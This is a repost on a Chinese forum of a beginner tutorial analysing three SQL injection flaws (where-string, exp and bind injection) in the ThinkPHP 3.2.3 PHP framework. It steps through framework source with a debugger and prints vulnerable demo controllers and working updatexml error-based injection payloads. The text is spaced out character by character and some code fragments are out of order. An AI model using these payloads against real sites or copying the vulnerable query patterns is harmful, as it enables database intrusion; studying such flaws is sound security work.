搜索

[19590] 2020-03-10_【原创】萌新也能看懂的ThinkPHP3.2.3漏洞分析

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-18
2020-03-10_【原创】萌新也能看懂的ThinkPHP3.2.3漏洞分析 【 原 创 】 萌 新 也 能 看 懂 的 T h i n k P H P 3 . 2 . 3 漏 洞 分 析 原 创   佳 哥   i 春 秋   2 0 2 0 - 0 3 - 1 0 T h i n k P H P 是 一 个 快 速 、 兼 容 而 且 简 单 的 轻 量 级 国 产 P H P 开 发 框 架 ， 可 以 支 持 W i n d o w s / U n i x / L i n u x 等 服 务 器 环 境 ， 正 式 版 需 要 P H P 5 . 0 以 上 版 本 支 持 ， 支 持 M y S q l 、 P g S Q L 、 S q l i t e 多 种 数 据 库 以 及 P D O 扩 展 。 网 上 关 于 T h i n k P H P 的 漏 洞 分 析 文 章 有 很 多 ， 今 天 分 享 的 内 容 是   i   春 秋 论 坛 作 者 佳 哥 原 创 的 文 章 。 本 文 是 作 者 在 学 习 T h i n k P H P 3 . 2 . 3 漏 洞 分 析 过 程 中 的 一 次 完 整 的 记 录 ， 非 常 适 合 初 学 者 ， 文 章 未 经 许 可 禁 止 转 载 ！ 注 ： i   春 秋 公 众 号 旨 在 为 大 家 提 供 更 多 的 学 习 方 法 与 技 能 技 巧 ， 文 章 仅 供 学 习 参 考 。 w h e r e 注 入   在 控 制 器 中 ， 写 个 d e m o ， 利 用 字 符 串 方 式 作 为 w h e r e 传 参 时 存 在 注 入 。 在 变 量 u s e r 地 方 进 行 断 点 ， P H P S T R O M   F 7 进 入 ， I 方 法 获 取 传 入 的 参 数 。 p u b l i c   f u n c t i o n     g e t u s e r ( ) {         $ u s e r   =   M ( ' U s e r ' ) - > w h e r e ( ' i d = ' . I ( ' i d ' ) ) - > f i n d ( ) ;         d u m p ( $ u s e r ) ; }
重 点 看 过 滤 函 数 s w i t c h ( s t r t o l o w e r ( $ m e t h o d ) )   {                 c a s e   ' g e t '           :                                       $ i n p u t   = &   $ _ G E T ;                                 b r e a k ;                 c a s e   ' p o s t '         :                                       $ i n p u t   = &   $ _ P O S T ;                                 b r e a k ;                 c a s e   ' p u t '           :                                       i f ( i s _ n u l l ( $ _ P U T ) ) {                                         p a r s e _ s t r ( f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ,   $ _ P U T ) ;                                 }                                 $ i n p u t                   =                 $ _ P U T ;                                                 b r e a k ;                 c a s e   ' p a r a m '       :                         s w i t c h ( $ _ S E R V E R [ ' R E Q U E S T _ M E T H O D ' ] )   {                                 c a s e   ' P O S T ' :                                         $ i n p u t     =     $ _ P O S T ;                                         b r e a k ;                                 c a s e   ' P U T ' :                                                 i f ( i s _ n u l l ( $ _ P U T ) ) {                                                         p a r s e _ s t r ( f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ,   $ _ P U T ) ;                                                 }                                                 $ i n p u t                   =                 $ _ P U T ;                                         b r e a k ;                                 d e f a u l t :                                         $ i n p u t     =     $ _ G E T ;                         }                         b r e a k ;   . . . . . .
先 利 用 h t m l s p e c i a l c h a r s 函 数 过 滤 参 数 ， 在 第 4 0 2 行 ， 利 用 t h i n k _ f i l t e r 函 数 过 滤 常 规 s q l 函 数 。 在 w h e r e 方 法 中 ， 将 $ w h e r e 的 值 放 入 到 o p t i o n s [ " w h e r e " ] 数 组 中 。 f u n c t i o n   t h i n k _ f i l t e r ( & $ v a l u e ) {                 / /   T O D O   其 他 安 全 过 滤                 / /   过 滤 查 询 特 殊 字 符         i f ( p r e g _ m a t c h ( ' / ^ ( E X P | N E Q | G T | E G T | L T | E L T | O R | X O R | L I K E | N O T L I K E | N O T   B E T W E E N | N O T B E T W E E N | B E T W E E N | N O T I N | N O T   I N | I N ) $ / i '                 $ v a l u e   . =   '   ' ;         } }
继 续 跟 进 查 看 f i n d 方 法 ， 第 7 4 8 行 。 在 数 组 $ o p t i o n s 中 增 加 ' t a b l e ' = > ' t p _ u s e r ' ， ' m o d e l ' = > ' U s e r ' ， 随 后 F 7 跟 进 s e l e c t 方 法 。 跟 进 b u i l d S e l e c t S q l 方 法 ， 继 续 在 跟 进 p a r s e S q l 方 法 ， 这 里 可 以 看 到 生 成 完 整 的 s q l 语 句 。 $ o p t i o n s           =       $ t h i s - > _ p a r s e O p t i o n s ( $ o p t i o n s ) ; p u b l i c   f u n c t i o n   s e l e c t ( $ o p t i o n s = a r r a y ( ) )   {                 $ t h i s - > m o d e l     =       $ o p t i o n s [ ' m o d e l ' ] ;                 $ t h i s - > p a r s e B i n d ( ! e m p t y ( $ o p t i o n s [ ' b i n d ' ] ) ? $ o p t i o n s [ ' b i n d ' ] : a r r a y ( ) ) ;                 $ s q l         =   $ t h i s - > b u i l d S e l e c t S q l ( $ o p t i o n s ) ;                 $ r e s u l t       =   $ t h i s - > q u e r y ( $ s q l , ! e m p t y ( $ o p t i o n s [ ' f e t c h _ s q l ' ] )   ?   t r u e   :   f a l s e ) ;                 r e t u r n   $ r e s u l t ; }
这 里 主 要 查 看 p a r s e W h e r e 方 法 跟 进 p a r s e T h i n k W h e r e 方 法
$ k e y 为 _ s t r i n g ， 所 以 $ w h e r e S t r 为 传 入 的 参 数 的 值 ， 最 后 p a r s e r W h e r e 方 法 返 回 ( i d = 1 p ) ， 所 以 最 终 p a y l o a d 为 ：   e x p 注 入   漏 洞 d e m o ， 这 里 使 用 全 局 数 组 进 行 传 参 ( 不 要 用 I 方 法 ) ， 漏 洞 才 能 生 效 。 p r o t e c t e d   f u n c t i o n   p a r s e T h i n k W h e r e ( $ k e y , $ v a l )   {                 $ w h e r e S t r       =   ' ' ;                 s w i t c h ( $ k e y )   {                         c a s e   ' _ s t r i n g ' :                                 / /   字 符 串 模 式 查 询 条 件                                 $ w h e r e S t r   =   $ v a l ;                                 b r e a k ;                         c a s e   ' _ c o m p l e x ' :                                 / /   复 合 查 询 条 件                                 $ w h e r e S t r   =   s u b s t r ( $ t h i s - > p a r s e W h e r e ( $ v a l ) , 6 ) ;                                 b r e a k ; 1 )   a n d   1 = u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( u s e r ( ) ) , 0 x 7 e ) , 1 ) - - +
直 接 在 $ u s e r 进 行 断 点 ， F 7 跟 进 ， 跳 过 w h e r e 方 法 ， 跟 进 f i n d - > s e l e c t - > b u i l d S e l e c t S q l - > p a r s e S q l - > p a r s e W h e r e 跟 进 p a r s e W h e r e I t e m 方 法 ， 此 时 参 数 $ v a l 为 一 个 数 组 ， { ‘ e x p ’ , ‘ s q l 注 入 e x p ’ } p u b l i c   f u n c t i o n     g e t u s e r ( ) {                 $ U s e r   =   D ( ' U s e r ' ) ;                 $ m a p   =   a r r a y ( ' i d '   = >   $ _ G E T [ ' i d ' ] ) ;                 $ u s e r   =   $ U s e r - > w h e r e ( $ m a p ) - > f i n d ( ) ;                 d u m p ( $ u s e r ) ; }
此 时 当 $ e x p 满 足 e x p 时 ， 将 参 数 和 值 就 行 拼 接 ， 所 以 最 终 p a y l a o d 为 ： 上 面 至 于 为 什 么 不 能 用 I 方 法 ， 原 因 是 在 过 滤 函 数 t h i n k _ f i l t e r 中 能 匹 配 到 e x p 字 符 ， 所 以 在 e x p 字 符 后 面 加 了 一 个 空 格 ， 导 致 在 p a r s e W h e r e I t e m 方 法 中 无 法 等 于 e x p 。   b i n d 注 入   漏 洞 d e m o F 8 跟 进 s a v e 方 法 i d [ 0 ] = e x p & i d [ 1 ] = = 1   a n d   1 = ( u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( u s e r ( ) ) , 0 x 7 e ) , 1 ) ) - - + i f ( p r e g _ m a t c h ( ' / ^ ( E X P | N E Q | G T | E G T | L T | E L T | O R | X O R | L I K E | N O T L I K E | N O T   B E T W E E N | N O T B E T W E E N | B E T W E E N | N O T I N | N O T   I N | I N ) $ / i ' p u b l i c   f u n c t i o n     g e t u s e r ( ) {                 $ d a t a [ ' i d ' ]   =   I ( ' i d ' ) ;                 $ u n a m e [ ' u s e r n a m e ' ]   =   I ( ' u s e r n a m e ' ) ;                 $ u s e r   =   M ( ' U s e r ' ) - > w h e r e ( $ d a t a ) - > s a v e ( $ u n a m e ) ;                 d u m p ( $ u s e r ) ; }
生 成 s q l 语 句 在 u p d a t e 方 法 中 ： 在 p a r s e S e t 方 法 中 ， 可 以 将 传 入 的 参 数 替 换 成 : 0 。 p u b l i c   f u n c t i o n   u p d a t e ( $ d a t a , $ o p t i o n s )   {                 $ t h i s - > m o d e l     =       $ o p t i o n s [ ' m o d e l ' ] ;                 $ t h i s - > p a r s e B i n d ( ! e m p t y ( $ o p t i o n s [ ' b i n d ' ] ) ? $ o p t i o n s [ ' b i n d ' ] : a r r a y ( ) ) ;                 $ t a b l e     =       $ t h i s - > p a r s e T a b l e ( $ o p t i o n s [ ' t a b l e ' ] ) ;                 $ s q l       =   ' U P D A T E   '   .   $ t a b l e   .   $ t h i s - > p a r s e S e t ( $ d a t a ) ;                 i f ( s t r p o s ( $ t a b l e , ' , ' ) ) { / /   多 表 更 新 支 持 J O I N 操 作                         $ s q l   . =   $ t h i s - > p a r s e J o i n ( ! e m p t y ( $ o p t i o n s [ ' j o i n ' ] ) ? $ o p t i o n s [ ' j o i n ' ] : ' ' ) ;                 }                 $ s q l   . =   $ t h i s - > p a r s e W h e r e ( ! e m p t y ( $ o p t i o n s [ ' w h e r e ' ] ) ? $ o p t i o n s [ ' w h e r e ' ] : ' ' ) ;                 i f ( ! s t r p o s ( $ t a b l e , ' , ' ) ) {                         / /     单 表 更 新 支 持 o r d e r 和 l m i t                         $ s q l       . =     $ t h i s - > p a r s e O r d e r ( ! e m p t y ( $ o p t i o n s [ ' o r d e r ' ] ) ? $ o p t i o n s [ ' o r d e r ' ] : ' ' )                                 . $ t h i s - > p a r s e L i m i t ( ! e m p t y ( $ o p t i o n s [ ' l i m i t ' ] ) ? $ o p t i o n s [ ' l i m i t ' ] : ' ' ) ;                 }                 $ s q l   . =       $ t h i s - > p a r s e C o m m e n t ( ! e m p t y ( $ o p t i o n s [ ' c o m m e n t ' ] ) ? $ o p t i o n s [ ' c o m m e n t ' ] : ' ' ) ;                 r e t u r n   $ t h i s - > e x e c u t e ( $ s q l , ! e m p t y ( $ o p t i o n s [ ' f e t c h _ s q l ' ] )   ?   t r u e   :   f a l s e ) ;         }
在 b i n d P a r a m 方 法 中 ， $ t h i s - > b i n d 属 性 返 回 a r r a y ( ' : 0 ' = > 参 数 值 ) 。 继 续 跟 进 p a r s e W h e r e - > p a r s e W h e r e I t e m 方 法 ， 当 e x p 为 b i n d 时 ， 就 会 在 参 数 值 前 面 加 个 冒 号 ( : ) 。 由 于 在 s q l 语 句 中 有 冒 号 ， 继 续 跟 进 e x c u t e 方 法 ， 这 里 将 : 0 替 换 成 了 第 二 个 参 数 的 值 。 p r o t e c t e d   f u n c t i o n   b i n d P a r a m ( $ n a m e , $ v a l u e ) {                 $ t h i s - > b i n d [ ' : ' . $ n a m e ]     =       $ v a l u e ; }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理